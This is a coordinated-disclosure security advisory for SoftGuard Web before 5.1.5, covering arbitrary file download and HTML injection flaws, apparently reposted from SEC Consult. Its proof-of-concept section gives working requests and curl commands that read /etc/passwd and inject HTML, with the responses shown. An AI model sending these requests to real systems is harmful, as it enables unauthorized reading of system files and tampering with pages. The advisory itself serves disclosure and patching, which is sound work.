SoftGuard SNMP Network Management Extension HTML Injection / File Download

2022.06.20
Risk: High
Local: No
Remote: Yes
CWE: N/A

SEC Consult Vulnerability Lab Security Advisory < 20220609-0 > ======================================================================= title: Multiple vulnerabilities product: SoftGuard SNMP Network Management Extension vulnerable version: SoftGuard Web (SGW) < 5.1.5 fixed version: SoftGuard version 5.1.5 from 2022-06-01 CVE number: CVE-2022-31201, CVE-2022-31202 impact: High homepage: https://gravitate.eu (reseller) found: 2022-04-14 by: Philipp Espernberger (Office Linz) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- There is no public description available for this vendor/product. The following description was provided as documentation: "SoftGuard is a network management extension which collects inventory-, analysis- and debugging data of devices and networks at least once a day. SoftGuard has an open structure, is built simple, is easily expandable, easy to use and is laid out for large scale networks. The data collection is performed with the protocols SNMP supporting the versions 1, 2c and 3. Additional protocols like ssh, telnet, rsh, https, NetBIOS/IP, ICMP ... complemented by SNMP if required. The SoftGuard Suite consists of three parts: * SoftGuard Network Center (SNC) * SoftGuard Host Center (SHC) * SoftGuard Monitor Center (SMC) Aditionally there are a bunch of common and customer specific expansions like SoftGuard Web (SGW), SoftGuard Statistic Tool (SST), Port Configuration Tool (PCT), Network Access Points (NAP), Technician Access Point (TAP), etc." Business recommendation: ------------------------ SEC Consult recommends to update to the latest version of SoftGuard (network management extension). An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues. Vulnerability overview/description: ----------------------------------- 1) File System Access (CVE-2022-31202) The export function allows authenticated attackers to download any arbitrary local file from the file system due to insufficient input validation. The unfiltered URL parameter query enables an attacker to access arbitrary local files. This allows the attacker to define the complete path and the filename by himself. Files that include passwords and other sensitive information can be accessed. Furthermore, the built-in man functionality also allows attackers to read any arbitrary local file from the file system. 2) HTML Injection (CVE-2022-31201) Various components do not properly sanitize/encode user input. This leads to HTML injection vulnerabilities. By exploiting this vulnerability, an attacker can include arbitrary HTML into the affected web page. The code is executed in the context of the victim's browser when visiting the manipulated URL. The vulnerability can be used to change the contents of the displayed site or redirect to other sites. During the security assessment it was not possible to execute JavaScript code because the security headers Content-Security-Policy and X-Content-Type-Options are preventing the execution. Proof of concept: ----------------- 1) File System Access (CVE-2022-31202) 1a) Export functionality In order to access arbitrary local files, the export function as authenticated user (Administration -> User -> Access -> Export) can be used. The following URL was used to set the filename to /etc/passwd =============================================================================== https://$host:8016/sgw/export?dbs=file&db=DefUser_access_$username_db%2e 1649426888398872%2etmp&query=file%3a/etc/passwd' =============================================================================== The newly set filename (/etc/passwd) can be exported and downloaded via the execution button. Afterwards the content of the file gets downloaded successfully. =============================================================================== root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin [...] =============================================================================== 1b) MAN functionality The following curl command shows how an authenticated attacker can gain access to any arbitrary local file: =============================================================================== curl 'https://$host:8016/cgi-bin/man.tcl' -H 'Authorization: Basic [...]' --data 'act=1&x=%2Fetc%2Fpasswd&submit=Execute' --compressed --insecure =============================================================================== The curl response includes the contents of the file: =============================================================================== <!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8" /> [...] <pre> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin [...] =============================================================================== 2) HTML Injection (CVE-2022-31201) When a new graph is created an authenticated attacker controls the GET parameters and can inject malicious content. The following curl command shows how an authenticated attacker can inject HTML code: =============================================================================== curl 'https://$host:8016/sgw/graph?tbl=sgNode&t=percent&h=Status%3Ch1%3ESEC- Consult%3C/h1%3E+%23&v=%7bdown+1934+orange%7d+%7bicmp+555+red%7d+%7bsnmpaaaa+8723+green%7d&scale=5' -H 'Authorization: Basic [...]' --compressed --insecure =============================================================================== The curl response includes the injected HTML code <h1>SEC Consult</h1>: =============================================================================== <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"/> <title>SGW - Graph: Node</title> [...] </head> <body class="master"> [...] <caption>∑3, Status<h1>SEC Consult</h1>, #11212</caption> [...] <tr><td>Status<h1>SEC Consult</h1></td> [...] </body></html> =============================================================================== Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: * SoftGuard Web (SGW) 5.1.3 The vendor provided the following information regarding the affected versions: 1a) affected version 4.5.0 (2019-05-04) to version 4.5.8 (2020-05-05) 1b) since SoftGuard 2.0 with SoftGuard Web 1.0 (~1998/99) 2) since SoftGuard 3.6.0 (2009-10-31) / SoftGuard 3.6.6 (2011-02-15) with SoftGuard Web 2.6.0/2.6.6 Vendor contact timeline: ------------------------ 2022-05-11: Contacting vendor through direct email address. 2022-05-11: Sent encrypted security advisory to vendor 2022-05-12: Received feedback from the vendor for the security advisory 2022-05-16: Received confirmation that a new version of SoftGuard was already rolled out to the customers which included the fix 2022-05-16: Received additional information which versions are vulnerable 2022-05-19: Received CVE numbers. 2022-05-20: Reviewed the fixed version 5.1.4 and found that HTML injection still works at other endpoints, other issues are fixed. 2022-05-20: Vendor replies that new version 5.1.5. will be released on 1st June. 2022-06-01: Vendor releases patched version 5.1.5. 2022-06-09: Coordinated release of security advisory. Solution: --------- The vendor rolled out new software versions. Affected users should verify that they are using the latest version available (5.1.5 from 2022-06-01 or higher). Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF P. Espernberger / @2022


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